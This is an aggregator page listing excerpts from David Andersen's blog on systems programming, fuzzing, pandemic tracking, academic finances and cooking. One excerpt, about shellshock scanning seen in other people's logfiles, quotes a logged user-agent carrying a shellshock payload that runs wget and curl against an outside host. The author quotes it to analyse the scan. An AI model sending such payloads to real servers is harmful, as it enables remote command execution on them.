RSSAmplifier

Blog

Dave's Data

David Andersen's blog about computer science, systems, technology, and sometimes vegan cooking.

da-data.blogspot.comRSS feed ↗25 posts

Latest posts

Integer log10 in Rust and C

Following the stabilization of the integer log10 interface in Rust 1.67 , I got interested in seeing whether it could be optimized. There's well known lore in this area starting from the omnipresent Hackers Delight implementation, to more recent thoughts (discussed here ). I had a bit of a new thought on how to express it that turned out inferior for reasons I find interesting. Let's dive in. Most…

No, C++ still isn't cutting it.

A recent blog post asked " Does C++ still deserve its bad rap ?" While that title presumes the answer (after all, a "bad rap" implies that the judgement is undeserved), I think C++'s reputation for making it very difficult to achieve security or memory safety or thread-safety remains well-deserved, even though it's gotten a lot better over the years. I mean that: The c++-17 version of that program…

Tolerating the Pandemic #4: The Ventilation Edition

This is #4 in the series of how we can tolerate the pandemic in a lot of slow, steady progress and hard work. As a quick recap, the first post laid out a bit of a roadmap (March 23, 2020); the second (April 17, 2020) and third (June 26, 2020) noted updates on the categories described in the first. In the two months since my previous post, one of the most exciting advances has been in improved…

Tolerating the Pandemic #3

In two previous posts, I discussed some ongoing processes that will help us tolerate the pandemic better , and an update 3 weeks after the first. It's been two months, which is enough time for more progress to have happened. There hasn't been enough, and some things have had less progress than I've hoped for, but we've also seen a bit more progress in other areas. Let's stick with the same…

Speeding up fuzzing rust with shared initialization

Having ported the Pi searcher to Rust , I've started exploring fuzzing frameworks to help find bugs. I settled on Rust's cargo-fuzz using the libfuzzer backend, since I'm familiar with libfuzzer from using it on TensorFlow . Naturally, since the Pi Searcher had been comparatively stable for 7 years in Go, and the translation from Go to Rust was fairly straightforward... I introduced a bug that my…

Moving the Pi Searcher from Go to Rust

Seven years ago (almost to the date), I wrote about my experience moving the Pi Searcher from C++ to Go . In that article, I mentioned that while the core searching code got slower, the system as a whole sped up by avoiding the per-request fork overhead of the earlier CGI-based code. This year I moved the Pi Searcher to Rust, hoping to get the best of both worlds. The tl;dr is that it worked and…

Updates on factors that will ease living with a coronavirus pandemic

Three weeks ago, I posted about things that will help us loosen restrictions as we move forward through the coronavirus pandemic . In this post, I'm following up on a few of those in the form of a progress tracker. Testing PCR viral tests March 23, 2020: 58,500 tests/day Apr 14, 2020: 145,000 tests/day. Source: https://covidtracking.com/data/us-daily Taken as the average of a 5 day window centered…

Tolerating two years of a pandemic in no easy (but some manageable) steps

First off, a reminder: Don't listen to random or not-so-random people like me when it comes to predictions about the spread and danger of COVID-19. Listen to the epidemiologists. I suggest starting with: The Imperial College London team , who've done groundbreaking work on previous coronaviruses including SARS and MERS. It's an experienced, all-star team. Trevor Bedford's twitter feed is full of…

Crossing a Brdg

Roughly two weeks ago was my last day as a visiting scientist at Google . It's been four years, one full-time in Mountain View and three working there one day per week in Pittsburgh after my return to Carnegie Mellon. I'm also about to hit send on an email requesting a leave from CMU starting in January, because... We're joining the startup race! Together with Michael Kaminsky (my…

Chili Crisp Showdown: Laoganma and Flybyjing

I've been on a bit of a chili crisp mission lately. The Internets -- and my friends -- appear convinced that the best chili crisp is Laoganma . Or Flybyjing . Certainly one of them. But which? My answer, alas, is that you might want a bottle of each. Or five bottles of each. Let's jump in: Laoganma on the left, Flybyjing on the right. The famous slightly disapproving face of the old grandmother…

Finding Bugs in TensorFlow with LibFuzzer

xkcd 1137 Over the past year, I've spent some time working on improving the robustness of TensorFlow. As I mentioned earlier, one of my goals for my time at Google was to dive into industry best-practices for writing good code . At Google, writing good code starts with careful programmers, requires good tests that get run on a fantastic internal testing infrastructure , is improved through code…

Accelerating cryptocurrency Mining with Intel ISPC

Daniel Lemire and Maxime Chevalier just had a great exchange on Twitter about the state of compilers and being able to automatically vectorize code, such as a scalar product. Of course, hoping the compiler can correctly vectorize your code can be a bit fragile, and as Maxime points out, writing raw intrinsics results in an unreadable pain in the editor, and a GPU-style implementation in CUDA or…

Finances for recent CS Ph.Ds headed to academia

As you may have guessed from my recent post analyzing the TCO of my former automobile , and my post on finances for CS Ph.D. students , I've been thinking about finance a bit lately. After a thought-provoking discussion with a senior colleague in another department, I've come to the conclusion my financial satisfaction graph looked something like this -- and I bet it's similar for many other…

22 Months of Voice-Based Assistants

Almost two years ago, I posted on Google+ that I'd purchased an Amazon Echo . In that post, I wrote: It's surprisingly cool. But the best part is what it makes me want, because it also sucks. It can't recognize my 2.6 y/o daughter's voice, for example -- even though she can say to it fairly clearly "Alexa, play Puff the Magic Dragon" (it will, if I ask it). What an awesome enabler for kids, if it…

Nobody ever implements sort

In discussions on Hacker News, I repeatedly see comments about " nobody ever implements sorting algorithms " -- or, generalized, that it's a waste of time studying up on basic data structures and algorithms, because they're all already implemented. While it's rare, it's not been my experience to never re-implement the basics. I decided to data-mine my and my research group's past and current…

Finances for CS Ph.D. students

This post is based upon a few recent conversations I've had with my own Ph.D. students. Its intended audience is Ph.D. students at mid-to-upper-end computer science programs in the United States, who are either US citizens/permanent residents, or plan to remain and retire in the U.S. In graduate school, you too can dress better than a professor! Welcome to graduate school in computer science,…

Don't quit that programming career yet because of AI

A recent Wired article breathlessly predicted the end of code: Soon We Won’t Program Computers. We’ll Train Them Like Dogs Of course, this is the same magazine that declared in 2010 that The Web is Dead . So perhaps we should step back and think before throwing in the towel. Have you looked at a self-driving car recently? Self-driving car (image from Google ) In this simplified diagram blatantly…

Indirect shellshock security scanning via other people's logfiles

One of my friends noted that he'd spotted a shellshock-style user-agent string in his web log files, looking like: 24.71.248.218 - - [28/Apr/2016:16:55:30 -0500] "GET / HTTP/1.1" 403 4961 "-" "() { :; }; /bin/sh -c 'wget http://closettransfer.com/IPTRANSITTEST -O /dev/null;wget1 http://closettransfer.com/IPTRANSITTEST -O /dev/null;curl http://closettransfer.com/IPTRANSITTEST -o…

Stealing Google's Coding Practices for Academia

I'm spending the year in Google's Visiting Faculty program. I had a few goals for my experience here: From xkcd 378 Learn learn learn ! I hoped to get a different perspective from the inside of the largest collection of computing & distributed systems that the world has ever seen, and to learn enough about machine learning to think better about providing systems support for it. I haven't been…

AlphaGo is a triumph for humanity

... and not something to be afraid of. As anyone who hasn't been hiding under a rock knows, Google Deepmind's AlphaGo program decisively won its third game in a row against grandmaster Lee Sedol. First of all, I argue that we shouldn't find this surprising : We're still riding the exponential wave of the growth of computing power in hardware, and when that's coupled in significant software…

Cleaning the Imagenet Dataset, collected notes

As part of my sabbatical at Google, I spent the last month working on processing images from the Imagenet Large Scale Visual Recognition Challenge (ILSVRC 2012) dataset using Tensorflow . (Note that I've linked to the '14 dataset because it contains the image blacklist I discuss below, but the it has the same classification images as the '12 dataset). As is well-known enough that there's an entire…

Vegan sous-vide recipes #1

Sous vide immersion cookers (I use the Anova ) have become cheap and easily available - under $200, clamp on to the side of your pot, life is happy. The Internet abounds about tales of meat cooked for hours until perfectly tender; eggs cooked to perfection in a dozen ways. But what about our dear vegetable friends? I'm keeping a little journal of my journey through sous vide veggies - hope it's…

Masking the taste of Augmentin - with candy canes

Or, "how to convince a child with pneumonia to take her antibiotics, part 1 of ... hopefully 1." My 3.5 y/o daughter came down with pneumonia last week. While it turns out to probably have been viral, she was prescribed Augmentin (amoxicillin + clavulanic acid), and instructed to finish it. She. Hates. Augmentin. With a passion unmatched by anything I've seen. As far as I can tell, this is one of…

Comparing Prepaid Cell Plans - A Public Spreadsheet (Fi, Cricket, Republic, T-Mobile)

I've been having fun publishing spreadsheets - they give people the ability to stick their own numbers in when they disagree with my assumptions. With the emergence of Google Fi, I wanted to explore for myself the new(ish) breed of prepaid cell phone plans that have become the logical plan choice for, well, just about anyone. I guess that's not true if your employer covers your plan, but for the…

Why my car cost more than taking Uber everywhere

This afternoon, I sold my car. It was a great car - a 2002 Subaru WRX with 36,700 miles. It did 0-60 in 5.9 seconds (and I'd tested it out enough times to appreciate that). Super fun. Carried groceries and anything I needed. Good for city. Good for climbing and camping trips. Worked well. Nothing wrong with it. Good riddance. I'm an abnormal car owner, for sure, but one of the points I raise below…